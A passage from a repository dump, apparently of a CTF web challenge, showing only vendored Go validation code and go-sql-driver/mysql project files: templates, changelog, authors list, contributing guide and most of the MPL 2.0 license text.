GetLimitValue return the limit value\nfunc (m MinSize) GetLimitValue() interface{} {\n\treturn m.Min\n}\n\n// MaxSize Requires an array or string to be at most a given length.\ntype MaxSize struct {\n\tMax int\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\nfunc (m MaxSize) IsSatisfied(obj interface{}) bool {\n\tif str, ok := obj.(string); ok {\n\t\treturn utf8.RuneCountInString(str) <= m.Max\n\t}\n\tv := reflect.ValueOf(obj)\n\tif v.Kind() == reflect.Slice {\n\t\treturn v.Len() <= m.Max\n\t}\n\treturn false\n}\n\n// DefaultMessage return the default MaxSize error message\nfunc (m MaxSize) DefaultMessage() string {\n\treturn fmt.Sprintf(MessageTmpls[\"MaxSize\"], m.Max)\n}\n\n// GetKey return the m.Key\nfunc (m MaxSize) GetKey() string {\n\treturn m.Key\n}\n\n// GetLimitValue return the limit value\nfunc (m MaxSize) GetLimitValue() interface{} {\n\treturn m.Max\n}\n\n// Length Requires an array or string to be exactly a given length.\ntype Length struct {\n\tN   int\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\nfunc (l Length) IsSatisfied(obj interface{}) bool {\n\tif str, ok := obj.(string); ok {\n\t\treturn utf8.RuneCountInString(str) == l.N\n\t}\n\tv := reflect.ValueOf(obj)\n\tif v.Kind() == reflect.Slice {\n\t\treturn v.Len() == l.N\n\t}\n\treturn false\n}\n\n// DefaultMessage return the default Length error message\nfunc (l Length) DefaultMessage() string {\n\treturn fmt.Sprintf(MessageTmpls[\"Length\"], l.N)\n}\n\n// GetKey return the m.Key\nfunc (l Length) GetKey() string {\n\treturn l.Key\n}\n\n// GetLimitValue return the limit value\nfunc (l Length) GetLimitValue() interface{} {\n\treturn l.N\n}\n\n// Alpha check the alpha\ntype Alpha struct {\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\nfunc (a Alpha) IsSatisfied(obj interface{}) bool {\n\tif str, ok := obj.(string); ok {\n\t\tfor _, v := range str {\n\t\t\tif ('Z' < v || v < 'A') && ('z' < v || v < 'a') {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t\treturn true\n\t}\n\treturn false\n}\n\n// DefaultMessage return the default Length error message\nfunc (a Alpha) DefaultMessage() string {\n\treturn MessageTmpls[\"Alpha\"]\n}\n\n// GetKey return the m.Key\nfunc (a Alpha) GetKey() string {\n\treturn a.Key\n}\n\n// GetLimitValue return the limit value\nfunc (a Alpha) GetLimitValue() interface{} {\n\treturn nil\n}\n\n// Numeric check number\ntype Numeric struct {\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\nfunc (n Numeric) IsSatisfied(obj interface{}) bool {\n\tif str, ok := obj.(string); ok {\n\t\tfor _, v := range str {\n\t\t\tif '9' < v || v < '0' {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t\treturn true\n\t}\n\treturn false\n}\n\n// DefaultMessage return the default Length error message\nfunc (n Numeric) DefaultMessage() string {\n\treturn MessageTmpls[\"Numeric\"]\n}\n\n// GetKey return the n.Key\nfunc (n Numeric) GetKey() string {\n\treturn n.Key\n}\n\n// GetLimitValue return the limit value\nfunc (n Numeric) GetLimitValue() interface{} {\n\treturn nil\n}\n\n// AlphaNumeric check alpha and number\ntype AlphaNumeric struct {\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\nfunc (a AlphaNumeric) IsSatisfied(obj interface{}) bool {\n\tif str, ok := obj.(string); ok {\n\t\tfor _, v := range str {\n\t\t\tif ('Z' < v || v < 'A') && ('z' < v || v < 'a') && ('9' < v || v < '0') {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t\treturn true\n\t}\n\treturn false\n}\n\n// DefaultMessage return the default Length error message\nfunc (a AlphaNumeric) DefaultMessage() string {\n\treturn MessageTmpls[\"AlphaNumeric\"]\n}\n\n// GetKey return the a.Key\nfunc (a AlphaNumeric) GetKey() string {\n\treturn a.Key\n}\n\n// GetLimitValue return the limit value\nfunc (a AlphaNumeric) GetLimitValue() interface{} {\n\treturn nil\n}\n\n// Match Requires a string to match a given regex.\ntype Match struct {\n\tRegexp *regexp.Regexp\n\tKey    string\n}\n\n// IsSatisfied judge whether obj is valid\nfunc (m Match) IsSatisfied(obj interface{}) bool {\n\treturn m.Regexp.MatchString(fmt.Sprintf(\"%v\", obj))\n}\n\n// DefaultMessage return the default Match error message\nfunc (m Match) DefaultMessage() string {\n\treturn fmt.Sprintf(MessageTmpls[\"Match\"], m.Regexp.String())\n}\n\n// GetKey return the m.Key\nfunc (m Match) GetKey() string {\n\treturn m.Key\n}\n\n// GetLimitValue return the limit value\nfunc (m Match) GetLimitValue() interface{} {\n\treturn m.Regexp.String()\n}\n\n// NoMatch Requires a string to not match a given regex.\ntype NoMatch struct {\n\tMatch\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\nfunc (n NoMatch) IsSatisfied(obj interface{}) bool {\n\treturn !n.Match.IsSatisfied(obj)\n}\n\n// DefaultMessage return the default NoMatch error message\nfunc (n NoMatch) DefaultMessage() string {\n\treturn fmt.Sprintf(MessageTmpls[\"NoMatch\"], n.Regexp.String())\n}\n\n// GetKey return the n.Key\nfunc (n NoMatch) GetKey() string {\n\treturn n.Key\n}\n\n// GetLimitValue return the limit value\nfunc (n NoMatch) GetLimitValue() interface{} {\n\treturn n.Regexp.String()\n}\n\nvar alphaDashPattern = regexp.MustCompile(`[^\\d\\w-_]`)\n\n// AlphaDash check not Alpha\ntype AlphaDash struct {\n\tNoMatch\n\tKey string\n}\n\n// DefaultMessage return the default AlphaDash error message\nfunc (a AlphaDash) DefaultMessage() string {\n\treturn MessageTmpls[\"AlphaDash\"]\n}\n\n// GetKey return the n.Key\nfunc (a AlphaDash) GetKey() string {\n\treturn a.Key\n}\n\n// GetLimitValue return the limit value\nfunc (a AlphaDash) GetLimitValue() interface{} {\n\treturn nil\n}\n\nvar emailPattern = regexp.MustCompile(`^[\\w!#$%&'*+/=?^_` + \"`\" + `{|}~-]+(?:\\.[\\w!#$%&'*+/=?^_` + \"`\" + `{|}~-]+)*@(?:[\\w](?:[\\w-]*[\\w])?\\.)+[a-zA-Z0-9](?:[\\w-]*[\\w])?$`)\n\n// Email check struct\ntype Email struct {\n\tMatch\n\tKey string\n}\n\n// DefaultMessage return the default Email error message\nfunc (e Email) DefaultMessage() string {\n\treturn MessageTmpls[\"Email\"]\n}\n\n// GetKey return the n.Key\nfunc (e Email) GetKey() string {\n\treturn e.Key\n}\n\n// GetLimitValue return the limit value\nfunc (e Email) GetLimitValue() interface{} {\n\treturn nil\n}\n\nvar ipPattern = regexp.MustCompile(`^((2[0-4]\\d|25[0-5]|[01]?\\d\\d?)\\.){3}(2[0-4]\\d|25[0-5]|[01]?\\d\\d?)$`)\n\n// IP check struct\ntype IP struct {\n\tMatch\n\tKey string\n}\n\n// DefaultMessage return the default IP error message\nfunc (i IP) DefaultMessage() string {\n\treturn MessageTmpls[\"IP\"]\n}\n\n// GetKey return the i.Key\nfunc (i IP) GetKey() string {\n\treturn i.Key\n}\n\n// GetLimitValue return the limit value\nfunc (i IP) GetLimitValue() interface{} {\n\treturn nil\n}\n\nvar base64Pattern = regexp.MustCompile(`^(?:[A-Za-z0-99+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$`)\n\n// Base64 check struct\ntype Base64 struct {\n\tMatch\n\tKey string\n}\n\n// DefaultMessage return the default Base64 error message\nfunc (b Base64) DefaultMessage() string {\n\treturn MessageTmpls[\"Base64\"]\n}\n\n// GetKey return the b.Key\nfunc (b Base64) GetKey() string {\n\treturn b.Key\n}\n\n// GetLimitValue return the limit value\nfunc (b Base64) GetLimitValue() interface{} {\n\treturn nil\n}\n\n// just for chinese mobile phone number\nvar mobilePattern = regexp.MustCompile(`^((\\+86)|(86))?(1(([35][0-9])|[8][0-9]|[7][06789]|[4][579]))\\d{8}$`)\n\n// Mobile check struct\ntype Mobile struct {\n\tMatch\n\tKey string\n}\n\n// DefaultMessage return the default Mobile error message\nfunc (m Mobile) DefaultMessage() string {\n\treturn MessageTmpls[\"Mobile\"]\n}\n\n// GetKey return the m.Key\nfunc (m Mobile) GetKey() string {\n\treturn m.Key\n}\n\n// GetLimitValue return the limit value\nfunc (m Mobile) GetLimitValue() interface{} {\n\treturn nil\n}\n\n// just for chinese telephone number\nvar telPattern = regexp.MustCompile(`^(0\\d{2,3}(\\-)?)?\\d{7,8}$`)\n\n// Tel check telephone struct\ntype Tel struct {\n\tMatch\n\tKey string\n}\n\n// DefaultMessage return the default Tel error message\nfunc (t Tel) DefaultMessage() string {\n\treturn MessageTmpls[\"Tel\"]\n}\n\n// GetKey return the t.Key\nfunc (t Tel) GetKey() string {\n\treturn t.Key\n}\n\n// GetLimitValue return the limit value\nfunc (t Tel) GetLimitValue() interface{} {\n\treturn nil\n}\n\n// Phone just for chinese telephone or mobile phone number\ntype Phone struct {\n\tMobile\n\tTel\n\tKey string\n}\n\n// IsSatisfied judge whether obj is valid\nfunc (p Phone) IsSatisfied(obj interface{}) bool {\n\treturn p.Mobile.IsSatisfied(obj) || p.Tel.IsSatisfied(obj)\n}\n\n// DefaultMessage return the default Phone error message\nfunc (p Phone) DefaultMessage() string {\n\treturn MessageTmpls[\"Phone\"]\n}\n\n// GetKey return the p.Key\nfunc (p Phone) GetKey() string {\n\treturn p.Key\n}\n\n// GetLimitValue return the limit value\nfunc (p Phone) GetLimitValue() interface{} {\n\treturn nil\n}\n\n// just for chinese zipcode\nvar zipCodePattern = regexp.MustCompile(`^[1-9]\\d{5}$`)\n\n// ZipCode check the zip struct\ntype ZipCode struct {\n\tMatch\n\tKey string\n}\n\n// DefaultMessage return the default Zip error message\nfunc (z ZipCode) DefaultMessage() string {\n\treturn MessageTmpls[\"ZipCode\"]\n}\n\n// GetKey return the z.Key\nfunc (z ZipCode) GetKey() string {\n\treturn z.Key\n}\n\n// GetLimitValue return the limit value\nfunc (z ZipCode) GetLimitValue() interface{} {\n\treturn nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/.github/ISSUE_TEMPLATE.md",
    "content": "### Issue description\nTell us what should happen and what happens instead\n\n### Example code\n```go\nIf possible, please enter some example code here to reproduce the issue.\n```\n\n### Error log\n```\nIf you have an error log, please paste it here.\n```\n\n### Configuration\n*Driver version (or git SHA):*\n\n*Go version:* run `go version` in your console\n\n*Server version:* E.g. MySQL 5.6, MariaDB 10.0.20\n\n*Server OS:* E.g. Debian 8.1 (Jessie), Windows 10\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/.github/PULL_REQUEST_TEMPLATE.md",
    "content": "### Description\nPlease explain the changes you made here.\n\n### Checklist\n- [ ] Code compiles correctly\n- [ ] Created tests which fail without the change (if possible)\n- [ ] All tests passing\n- [ ] Extended the README / documentation, if necessary\n- [ ] Added myself / the copyright holder to the AUTHORS file\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/.gitignore",
    "content": ".DS_Store\n.DS_Store?\n._*\n.Spotlight-V100\n.Trashes\nIcon?\nehthumbs.db\nThumbs.db\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/.travis.yml",
    "content": "sudo: false\nlanguage: go\ngo:\n  - 1.2\n  - 1.3\n  - 1.4\n  - 1.5\n  - 1.6\n  - 1.7\n  - tip\n\nbefore_script:\n  - mysql -e 'create database gotest;'\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/AUTHORS",
    "content": "# This is the official list of Go-MySQL-Driver authors for copyright purposes.\n\n# If you are submitting a patch, please add your name or the name of the\n# organization which holds the copyright to this list in alphabetical order.\n\n# Names should be added to this file as\n#\tName <email address>\n# The email address is not required for organizations.\n# Please keep the list sorted.\n\n\n# Individual Persons\n\nAaron Hopkins <go-sql-driver at die.net>\nArne Hormann <arnehormann at gmail.com>\nCarlos Nieto <jose.carlos at menteslibres.net>\nChris Moos <chris at tech9computers.com>\nDaniel Nichter <nil at codenode.com>\nDaniël van Eeden <git at myname.nl>\nDisposaBoy <disposaboy at dby.me>\nFrederick Mayle <frederickmayle at gmail.com>\nGustavo Kristic <gkristic at gmail.com>\nHanno Braun <mail at hannobraun.com>\nHenri Yandell <flamefew at gmail.com>\nHirotaka Yamamoto <ymmt2005 at gmail.com>\nINADA Naoki <songofacandy at gmail.com>\nJames Harr <james.harr at gmail.com>\nJian Zhen <zhenjl at gmail.com>\nJoshua Prunier <joshua.prunier at gmail.com>\nJulien Lefevre <julien.lefevr at gmail.com>\nJulien Schmidt <go-sql-driver at julienschmidt.com>\nKamil Dziedzic <kamil at klecza.pl>\nKevin Malachowski <kevin at chowski.com>\nLennart Rudolph <lrudolph at hmc.edu>\nLeonardo YongUk Kim <dalinaum at gmail.com>\nLuca Looz <luca.looz92 at gmail.com>\nLucas Liu <extrafliu at gmail.com>\nLuke Scott <luke at webconnex.com>\nMichael Woolnough <michael.woolnough at gmail.com>\nNicola Peduzzi <thenikso at gmail.com>\nOlivier Mengué <dolmen at cpan.org>\nPaul Bonser <misterpib at gmail.com>\nRunrioter Wung <runrioter at gmail.com>\nSoroush Pour <me at soroushjp.com>\nStan Putrya <root.vagner at gmail.com>\nStanley Gunawan <gunawan.stanley at gmail.com>\nXiangyu Hu <xiangyu.hu at outlook.com>\nXiaobing Jiang <s7v7nislands at gmail.com>\nXiuming Chen <cc at cxm.cc>\nZhenye Xie <xiezhenye at gmail.com>\n\n# Organizations\n\nBarracuda Networks, Inc.\nGoogle Inc.\nStripe Inc.\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/CHANGELOG.md",
    "content": "## Version 1.3 (2016-12-01)\n\nChanges:\n\n - Go 1.1 is no longer supported\n - Use decimals fields in MySQL to format time types (#249)\n - Buffer optimizations (#269)\n - TLS ServerName defaults to the host (#283)\n - Refactoring (#400, #410, #437)\n - Adjusted documentation for second generation CloudSQL (#485)\n - Documented DSN system var quoting rules (#502)\n - Made statement.Close() calls idempotent to avoid errors in Go 1.6+ (#512)\n\nNew Features:\n\n - Enable microsecond resolution on TIME, DATETIME and TIMESTAMP (#249)\n - Support for returning table alias on Columns() (#289, #359, #382)\n - Placeholder interpolation, can be actived with the DSN parameter `interpolateParams=true` (#309, #318, #490)\n - Support for uint64 parameters with high bit set (#332, #345)\n - Cleartext authentication plugin support (#327)\n - Exported ParseDSN function and the Config struct (#403, #419, #429)\n - Read / Write timeouts (#401)\n - Support for JSON field type (#414)\n - Support for multi-statements and multi-results (#411, #431)\n - DSN parameter to set the driver-side max_allowed_packet value manually (#489)\n - Native password authentication plugin support (#494, #524)\n\nBugfixes:\n\n - Fixed handling of queries without columns and rows (#255)\n - Fixed a panic when SetKeepAlive() failed (#298)\n - Handle ERR packets while reading rows (#321)\n - Fixed reading NULL length-encoded integers in MySQL 5.6+ (#349)\n - Fixed absolute paths support in LOAD LOCAL DATA INFILE (#356)\n - Actually zero out bytes in handshake response (#378)\n - Fixed race condition in registering LOAD DATA INFILE handler (#383)\n - Fixed tests with MySQL 5.7.9+ (#380)\n - QueryUnescape TLS config names (#397)\n - Fixed \"broken pipe\" error by writing to closed socket (#390)\n - Fixed LOAD LOCAL DATA INFILE buffering (#424)\n - Fixed parsing of floats into float64 when placeholders are used (#434)\n - Fixed DSN tests with Go 1.7+ (#459)\n - Handle ERR packets while waiting for EOF (#473)\n - Invalidate connection on error while discarding additional results (#513)\n - Allow terminating packets of length 0 (#516)\n\n\n## Version 1.2 (2014-06-03)\n\nChanges:\n\n - We switched back to a \"rolling release\". `go get` installs the current master branch again\n - Version v1 of the driver will not be maintained anymore. Go 1.0 is no longer supported by this driver\n - Exported errors to allow easy checking from application code\n - Enabled TCP Keepalives on TCP connections\n - Optimized INFILE handling (better buffer size calculation, lazy init, ...)\n - The DSN parser also checks for a missing separating slash\n - Faster binary date / datetime to string formatting\n - Also exported the MySQLWarning type\n - mysqlConn.Close returns the first error encountered instead of ignoring all errors\n - writePacket() automatically writes the packet size to the header\n - readPacket() uses an iterative approach instead of the recursive approach to merge splitted packets\n\nNew Features:\n\n - `RegisterDial` allows the usage of a custom dial function to establish the network connection\n - Setting the connection collation is possible with the `collation` DSN parameter. This parameter should be preferred over the `charset` parameter\n - Logging of critical errors is configurable with `SetLogger`\n - Google CloudSQL support\n\nBugfixes:\n\n - Allow more than 32 parameters in prepared statements\n - Various old_password fixes\n - Fixed TestConcurrent test to pass Go's race detection\n - Fixed appendLengthEncodedInteger for large numbers\n - Renamed readLengthEnodedString to readLengthEncodedString and skipLengthEnodedString to skipLengthEncodedString (fixed typo)\n\n\n## Version 1.1 (2013-11-02)\n\nChanges:\n\n  - Go-MySQL-Driver now requires Go 1.1\n  - Connections now use the collation `utf8_general_ci` by default. Adding `&charset=UTF8` to the DSN should not be necessary anymore\n  - Made closing rows and connections error tolerant. This allows for example deferring rows.Close() without checking for errors\n  - `[]byte(nil)` is now treated as a NULL value. Before, it was treated like an empty string / `[]byte(\"\")`\n  - DSN parameter values must now be url.QueryEscape'ed. This allows text values to contain special characters, such as '&'.\n  - Use the IO buffer also for writing. This results in zero allocations (by the driver) for most queries\n  - Optimized the buffer for reading\n  - stmt.Query now caches column metadata\n  - New Logo\n  - Changed the copyright header to include all contributors\n  - Improved the LOAD INFILE documentation\n  - The driver struct is now exported to make the driver directly accessible\n  - Refactored the driver tests\n  - Added more benchmarks and moved all to a separate file\n  - Other small refactoring\n\nNew Features:\n\n  - Added *old_passwords* support: Required in some cases, but must be enabled by adding `allowOldPasswords=true` to the DSN since it is insecure\n  - Added a `clientFoundRows` parameter: Return the number of matching rows instead of the number of rows changed on UPDATEs\n  - Added TLS/SSL support: Use a TLS/SSL encrypted connection to the server. Custom TLS configs can be registered and used\n\nBugfixes:\n\n  - Fixed MySQL 4.1 support: MySQL 4.1 sends packets with lengths which differ from the specification\n  - Convert to DB timezone when inserting `time.Time`\n  - Splitted packets (more than 16MB) are now merged correctly\n  - Fixed false positive `io.EOF` errors when the data was fully read\n  - Avoid panics on reuse of closed connections\n  - Fixed empty string producing false nil values\n  - Fixed sign byte for positive TIME fields\n\n\n## Version 1.0 (2013-05-14)\n\nInitial Release\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/CONTRIBUTING.md",
    "content": "# Contributing Guidelines\n\n## Reporting Issues\n\nBefore creating a new Issue, please check first if a similar Issue [already exists](https://github.com/go-sql-driver/mysql/issues?state=open) or was [recently closed](https://github.com/go-sql-driver/mysql/issues?direction=desc&page=1&sort=updated&state=closed).\n\n## Contributing Code\n\nBy contributing to this project, you share your code under the Mozilla Public License 2, as specified in the LICENSE file.\nDon't forget to add yourself to the AUTHORS file.\n\n### Code Review\n\nEveryone is invited to review and comment on pull requests.\nIf it looks fine to you, comment with \"LGTM\" (Looks good to me).\n\nIf changes are required, notice the reviewers with \"PTAL\" (Please take another look) after committing the fixes.\n\nBefore merging the Pull Request, at least one [team member](https://github.com/go-sql-driver?tab=members) must have commented with \"LGTM\".\n\n## Development Ideas\n\nIf you are looking for ideas for code contributions, please check our [Development Ideas](https://github.com/go-sql-driver/mysql/wiki/Development-Ideas) Wiki page.\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/LICENSE",
    "content": "Mozilla Public License Version 2.0\n==================================\n\n1. Definitions\n--------------\n\n1.1. \"Contributor\"\n    means each individual or legal entity that creates, contributes to\n    the creation of, or owns Covered Software.\n\n1.2. \"Contributor Version\"\n    means the combination of the Contributions of others (if any) used\n    by a Contributor and that particular Contributor's Contribution.\n\n1.3. \"Contribution\"\n    means Covered Software of a particular Contributor.\n\n1.4. \"Covered Software\"\n    means Source Code Form to which the initial Contributor has attached\n    the notice in Exhibit A, the Executable Form of such Source Code\n    Form, and Modifications of such Source Code Form, in each case\n    including portions thereof.\n\n1.5. \"Incompatible With Secondary Licenses\"\n    means\n\n    (a) that the initial Contributor has attached the notice described\n        in Exhibit B to the Covered Software; or\n\n    (b) that the Covered Software was made available under the terms of\n        version 1.1 or earlier of the License, but not also under the\n        terms of a Secondary License.\n\n1.6. \"Executable Form\"\n    means any form of the work other than Source Code Form.\n\n1.7. \"Larger Work\"\n    means a work that combines Covered Software with other material, in \n    a separate file or files, that is not Covered Software.\n\n1.8. \"License\"\n    means this document.\n\n1.9. \"Licensable\"\n    means having the right to grant, to the maximum extent possible,\n    whether at the time of the initial grant or subsequently, any and\n    all of the rights conveyed by this License.\n\n1.10. \"Modifications\"\n    means any of the following:\n\n    (a) any file in Source Code Form that results from an addition to,\n        deletion from, or modification of the contents of Covered\n        Software; or\n\n    (b) any new file in Source Code Form that contains any Covered\n        Software.\n\n1.11. \"Patent Claims\" of a Contributor\n    means any patent claim(s), including without limitation, method,\n    process, and apparatus claims, in any patent Licensable by such\n    Contributor that would be infringed, but for the grant of the\n    License, by the making, using, selling, offering for sale, having\n    made, import, or transfer of either its Contributions or its\n    Contributor Version.\n\n1.12. \"Secondary License\"\n    means either the GNU General Public License, Version 2.0, the GNU\n    Lesser General Public License, Version 2.1, the GNU Affero General\n    Public License, Version 3.0, or any later versions of those\n    licenses.\n\n1.13. \"Source Code Form\"\n    means the form of the work preferred for making modifications.\n\n1.14. \"You\" (or \"Your\")\n    means an individual or a legal entity exercising rights under this\n    License. For legal entities, \"You\" includes any entity that\n    controls, is controlled by, or is under common control with You. For\n    purposes of this definition, \"control\" means (a) the power, direct\n    or indirect, to cause the direction or management of such entity,\n    whether by contract or otherwise, or (b) ownership of more than\n    fifty percent (50%) of the outstanding shares or beneficial\n    ownership of such entity.\n\n2. License Grants and Conditions\n--------------------------------\n\n2.1. Grants\n\nEach Contributor hereby grants You a world-wide, royalty-free,\nnon-exclusive license:\n\n(a) under intellectual property rights (other than patent or trademark)\n    Licensable by such Contributor to use, reproduce, make available,\n    modify, display, perform, distribute, and otherwise exploit its\n    Contributions, either on an unmodified basis, with Modifications, or\n    as part of a Larger Work; and\n\n(b) under Patent Claims of such Contributor to make, use, sell, offer\n    for sale, have made, import, and otherwise transfer either its\n    Contributions or its Contributor Version.\n\n2.2. Effective Date\n\nThe licenses granted in Section 2.1 with respect to any Contribution\nbecome effective for each Contribution on the date the Contributor first\ndistributes such Contribution.\n\n2.3. Limitations on Grant Scope\n\nThe licenses granted in this Section 2 are the only rights granted under\nthis License. No additional rights or licenses will be implied from the\ndistribution or licensing of Covered Software under this License.\nNotwithstanding Section 2.1(b) above, no patent license is granted by a\nContributor:\n\n(a) for any code that a Contributor has removed from Covered Software;\n    or\n\n(b) for infringements caused by: (i) Your and any other third party's\n    modifications of Covered Software, or (ii) the combination of its\n    Contributions with other software (except as part of its Contributor\n    Version); or\n\n(c) under Patent Claims infringed by Covered Software in the absence of\n    its Contributions.\n\nThis License does not grant any rights in the trademarks, service marks,\nor logos of any Contributor (except as may be necessary to comply with\nthe notice requirements in Section 3.4).\n\n2.4. Subsequent Licenses\n\nNo Contributor makes additional grants as a result of Your choice to\ndistribute the Covered Software under a subsequent version of this\nLicense (see Section 10.2) or under the terms of a Secondary License (if\npermitted under the terms of Section 3.3).\n\n2.5. Representation\n\nEach Contributor represents that the Contributor believes its\nContributions are its original creation(s) or it has sufficient rights\nto grant the rights to its Contributions conveyed by this License.\n\n2.6. Fair Use\n\nThis License is not intended to limit any rights You have under\napplicable copyright doctrines of fair use, fair dealing, or other\nequivalents.\n\n2.7. Conditions\n\nSections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted\nin Section 2.1.\n\n3. Responsibilities\n-------------------\n\n3.1. Distribution of Source Form\n\nAll distribution of Covered Software in Source Code Form, including any\nModifications that You create or to which You contribute, must be under\nthe terms of this License. You must inform recipients that the Source\nCode Form of the Covered Software is governed by the terms of this\nLicense, and how they can obtain a copy of this License. You may not\nattempt to alter or restrict the recipients' rights in the Source Code\nForm.\n\n3.2. Distribution of Executable Form\n\nIf You distribute Covered Software in Executable Form then:\n\n(a) such Covered Software must also be made available in Source Code\n    Form, as described in Section 3.1, and You must inform recipients of\n    the Executable Form how they can obtain a copy of such Source Code\n    Form by reasonable means in a timely manner, at a charge no more\n    than the cost of distribution to the recipient; and\n\n(b) You may distribute such Executable Form under the terms of this\n    License, or sublicense it under different terms, provided that the\n    license for the Executable Form does not attempt to limit or alter\n    the recipients' rights in the Source Code Form under this License.\n\n3.3. Distribution of a Larger Work\n\nYou may create and distribute a Larger Work under terms of Your choice,\nprovided that You also comply with the requirements of this License for\nthe Covered Software. If the Larger Work is a combination of Covered\nSoftware with a work governed by one or more Secondary Licenses, and the\nCovered Software is not Incompatible With Secondary Licenses, this\nLicense permits You to additionally distribute such Covered Software\nunder the terms of such Secondary License(s), so that the recipient of\nthe Larger Work may, at their option, further distribute the Covered\nSoftware under the terms of either this License or such Secondary\nLicense(s).\n\n3.4. Notices\n\nYou may not remove or alter the substance of any license notices\n(including copyright notices, patent notices, disclaimers of warranty,\nor limitations of liability) contained within the Source Code Form of\nthe Covered Software, except that You may alter any license notices to\nthe extent required to remedy known factual inaccuracies.\n\n3.5. Application of Additional Terms\n\nYou may choose to offer, and to charge a fee for, warranty, support,\nindemnity or liability obligations to one or more recipients of Covered\nSoftware. However, You may do so only on Your own behalf, and not on\nbehalf of any Contributor. You must make it absolutely clear that any\nsuch warranty, support, indemnity, or liability obligation is offered by\nYou alone, and You hereby agree to indemnify every Contributor for any\nliability incurred by such Contributor as a result of warranty, support,\nindemnity or liability terms You offer. You may include additional\ndisclaimers of warranty and limitations of liability specific to any\njurisdiction.\n\n4. Inability to Comply Due to Statute or Regulation\n---------------------------------------------------\n\nIf it is impossible for You to comply with any of the terms of this\nLicense with respect to some or all of the Covered Software due to\nstatute, judicial order, or regulation then You must: (a) comply with\nthe terms of this License to the maximum extent possible; and (b)\ndescribe the limitations and the code they affect. Such description must\nbe placed in a text file included with all distributions of the Covered\nSoftware under this License. Except to the extent prohibited by statute\nor regulation, such description must be sufficiently detailed for a\nrecipient of ordinary skill to be able to understand it.\n\n5. Termination\n--------------\n\n5.1. The rights granted under this License will terminate automatically\nif You fail to comply with any of its terms. However, if You become\ncompliant, then the rights granted under this License from a particular\nContributor are reinstated (a) provisionally, unless and until such\nContributor explicitly and finally terminates Your grants, and (b) on an\nongoing basis, if such Contributor fails to notify You of the\nnon-compliance by some reasonable means prior to 60 days after You have\ncome back into compliance. Moreover, Your grants from a particular\nContributor are reinstated on an ongoing basis if such Contributor\nnotifies You of the non-compliance by some reasonable means, this is the\nfirst time You have received notice of non-compliance with this License\nfrom such Contributor, and You become compliant prior to 30 days after\nYour receipt of the notice.\n\n5.2. If You initiate litigation against any entity by asserting a patent\ninfringement claim (excluding declaratory judgment actions,\ncounter-claims, and cross-claims) alleging that a Contributor Version\ndirectly or indirectly infringes any patent, then the rights granted to\nYou by any and all Contributors for the Covered Software under Section\n2.1 of this License shall terminate.\n\n5.3. In the event of termination under Sections 5.1 or 5.2 above, all\nend user license agreements (excluding distributors and resellers) which\nhave been validly granted by You or Your distributors under this License\nprior to termination shall survive termination.\n\n************************************************************************\n*                                                                      *\n*  6. Disclaimer of Warranty                                           *\n*  -------------------------                                           *\n*                                                                      *\n*  Covered Software is provided under this License on an \"as is\"       *\n*  basis, without warranty of any kind, either expressed, implied, or  *\n*  statutory, including, without limitation, warranties that the       *\n*  Covered Software is free of defects, merchantable, fit for a        *\n*  particular purpose or non-infringing. The entire risk as to the     *\n*  quality and performance of the Covered Software is with You.        *\n*  Should any Covered Software prove defective in any respect, You     *\n*  (not any Contributor) assume the cost of any necessary servicing,   *\n*  repair, or correction. This disclaimer of warranty constitutes an   *\n*  essential part of this License. No use of any Covered Software is   *\n*  authorized under this License except under this disclaimer.         *\n*                                                                      *\n************************************************************************\n\n************************************************************************\n*                                                                      *\n*  7. Limitation of Liability                                          *\n*  --------------------------                                          *\n*                                                                      *\n*  Under no circumstances and under no legal theory, whether tort      *\n*  (including negligence), contract, or otherwise, shall any           *\n*  Contributor, or anyone who distributes Covered Software as          *\n*  permitted above, be liable to You for any direct, indirect,         *\n*  special, incidental, or consequential damages of any character      *\n*  including, without limitation, damages for lost profits, loss of    *\n*  goodwill, work stoppage, computer failure or malfunction, or any    *\n*  and all other commercial damages or losses, even if such party      *\n*  shall have been informed of the possibility of such damages. This   *\n*  limitation of liability shall not apply to liability for death or   *\n*  personal injury resulting from such party's negligence to the       *\n*  extent applicable law prohibits such limitation. Some               *\n*  jurisdictions do not allow the exclusion or limitation of           *\n*  incidental or consequential damages, so this exclusion and          *\n*  limitation may not apply to You.                                    *\n*                                                                      *\n************************************************************************\n\n8. Litigation\n-------------\n\nAny litigation relating to this License may be brought only in the\ncourts of a jurisdiction where the defendant maintains its principal\nplace of business and such litigation shall be governed by laws of that\njurisdiction, without reference to its conflict-of-law provisions.\nNothing in this Section shall prevent a party's ability to bring\ncross-claims or counter-claims.\n\n9. Miscellaneous\n----------------\n\nThis License represents the complete agreement concerning the subject\nmatter hereof. If any provision of this License is held to be\nunenforceable, such provision shall be reformed only to the extent\nnecessary to make it enforceable. Any law or regulation which provides\nthat the language of a contract shall be construed against the drafter\nshall not be used to construe this License against a Contributor.\n\n10. Versions of the License\n---------------------------\n\n10.1. New Versions\n\nMozilla Foundation is the license steward. Except as provided in Section\n10.3, no one other than the license steward has the right to modify or\npublish new versions of this License. Each version will be given a\ndistinguishing version number.\n\n10.2. Effect of New Versions\n\nYou may distribute the Covered Software under the terms of the version\nof the License under which You originally received the Covered Software,\nor under the terms of any subsequent version published by the 